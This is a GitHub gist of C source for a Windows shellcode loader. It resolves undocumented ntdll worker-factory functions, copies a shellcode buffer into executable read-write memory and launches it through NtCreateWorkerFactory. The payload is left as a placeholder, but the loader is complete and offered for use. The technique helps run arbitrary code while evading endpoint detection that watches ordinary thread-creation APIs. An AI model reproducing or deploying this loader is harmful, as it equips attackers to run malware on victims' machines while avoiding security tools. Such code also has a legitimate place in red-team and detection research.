Skip to content

Instantly share code, notes, and snippets.

@RistBS
Last active July 30, 2024 16:31
Show Gist options
  • Save RistBS/fd4243d6df142d197920e2b72baa3cdd to your computer and use it in GitHub Desktop.
Save RistBS/fd4243d6df142d197920e2b72baa3cdd to your computer and use it in GitHub Desktop.
Just another shellcode execution technique :)
#include <Windows.h>
#include <stdio.h>
#define PRINTDEBUG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define WORKER_FACTORY_FULL_ACCESS 0xf00ff
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_IO_COMPLETION_INFORMATION
{
PVOID KeyContext;
PVOID ApcContext;
IO_STATUS_BLOCK IoStatusBlock;
} FILE_IO_COMPLETION_INFORMATION, * PFILE_IO_COMPLETION_INFORMATION;
typedef struct _WORKER_FACTORY_DEFERRED_WORK
{
struct _PORT_MESSAGE* AlpcSendMessage;
PVOID AlpcSendMessagePort;
ULONG AlpcSendMessageFlags;
ULONG Flags;
} WORKER_FACTORY_DEFERRED_WORK, * PWORKER_FACTORY_DEFERRED_WORK;
typedef enum _WORKERFACTORYINFOCLASS
{
WorkerFactoryTimeout, // LARGE_INTEGER
WorkerFactoryRetryTimeout, // LARGE_INTEGER
WorkerFactoryIdleTimeout, // s: LARGE_INTEGER
WorkerFactoryBindingCount, // s: ULONG
WorkerFactoryThreadMinimum, // s: ULONG
WorkerFactoryThreadMaximum, // s: ULONG
WorkerFactoryPaused, // ULONG or BOOLEAN
WorkerFactoryBasicInformation, // q: WORKER_FACTORY_BASIC_INFORMATION
WorkerFactoryAdjustThreadGoal,
WorkerFactoryCallbackType,
WorkerFactoryStackInformation, // 10
WorkerFactoryThreadBasePriority, // s: ULONG
WorkerFactoryTimeoutWaiters, // s: ULONG, since THRESHOLD
WorkerFactoryFlags, // s: ULONG
WorkerFactoryThreadSoftMaximum, // s: ULONG
WorkerFactoryThreadCpuSets, // since REDSTONE5
MaxWorkerFactoryInfoClass
} WORKERFACTORYINFOCLASS, * PWORKERFACTORYINFOCLASS;
typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
LARGE_INTEGER Timeout;
LARGE_INTEGER RetryTimeout;
LARGE_INTEGER IdleTimeout;
BOOLEAN Paused;
BOOLEAN TimerSet;
BOOLEAN QueuedToExWorker;
BOOLEAN MayCreate;
BOOLEAN CreateInProgress;
BOOLEAN InsertedIntoQueue;
BOOLEAN Shutdown;
ULONG BindingCount;
ULONG ThreadMinimum;
ULONG ThreadMaximum;
ULONG PendingWorkerCount;
ULONG WaitingWorkerCount;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine;
PVOID StartParameter;
HANDLE ProcessId;
SIZE_T StackReserve;
SIZE_T StackCommit;
NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
typedef NTSTATUS(WINAPI* tNtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(WINAPI* tNtWorkerFactoryWorkerReady)(HANDLE);
typedef NTSTATUS(WINAPI* tNtSetInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG);
typedef NTSTATUS(WINAPI* tNtQueryInformationWorkerFactory)(HANDLE, WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(WINAPI* tNtWaitForWorkViaWorkerFactory)(HANDLE, FILE_IO_COMPLETION_INFORMATION*, ULONG, PULONG, WORKER_FACTORY_DEFERRED_WORK*);
int main()
{
HANDLE hWorkerFactory;
ULONG ulThreadMinimum = 1;
ULONG ulKey = 'cat';
HANDLE hIoCompletion = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, ulKey, 0);
HMODULE hNtdll = GetModuleHandleA("ntdll");
tNtCreateWorkerFactory NtCreateWorkerFactory = (tNtCreateWorkerFactory)GetProcAddress(hNtdll, "NtCreateWorkerFactory");
if (!NtCreateWorkerFactory) {
return -1;
}
tNtSetInformationWorkerFactory NtSetInformationWorkerFactory = (tNtSetInformationWorkerFactory)GetProcAddress(hNtdll, "NtSetInformationWorkerFactory");
if (!NtSetInformationWorkerFactory) {
return -1;
}
unsigned char shellcode_buffer[] = "\x00"; // shellcode here
LPVOID shellcode_address = VirtualAlloc( NULL, sizeof( shellcode_buffer ), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
memcpy( shellcode_address, &shellcode_buffer[ 0 ], sizeof( shellcode_buffer ) );
PRINTDEBUG("[*] Start thread with NtCreateWorkerFactory");
NtCreateWorkerFactory( &hWorkerFactory, // _Out_ PHANDLE WorkerFactoryHandleReturn,
WORKER_FACTORY_FULL_ACCESS, // _In_ ACCESS_MASK DesiredAccess,
NULL, // _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes
hIoCompletion, // _In_ HANDLE CompletionPortHandle,
( HANDLE )-1, // _In_ HANDLE WorkerProcessHandle,
shellcode_address, // _In_ PVOID StartRoutine,
0, // _In_opt_ PVOID StartParameter,
1, 0x1000, 0x1000 ); // _In_opt_ ULONG MaxThreadCount, _In_opt_ SIZE_T StackReserve, _In_opt_ SIZE_T StackCommit
NtSetInformationWorkerFactory( hWorkerFactory, WorkerFactoryThreadMinimum, &ulThreadMinimum, sizeof( ULONG ) );
while ( TRUE ) {}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment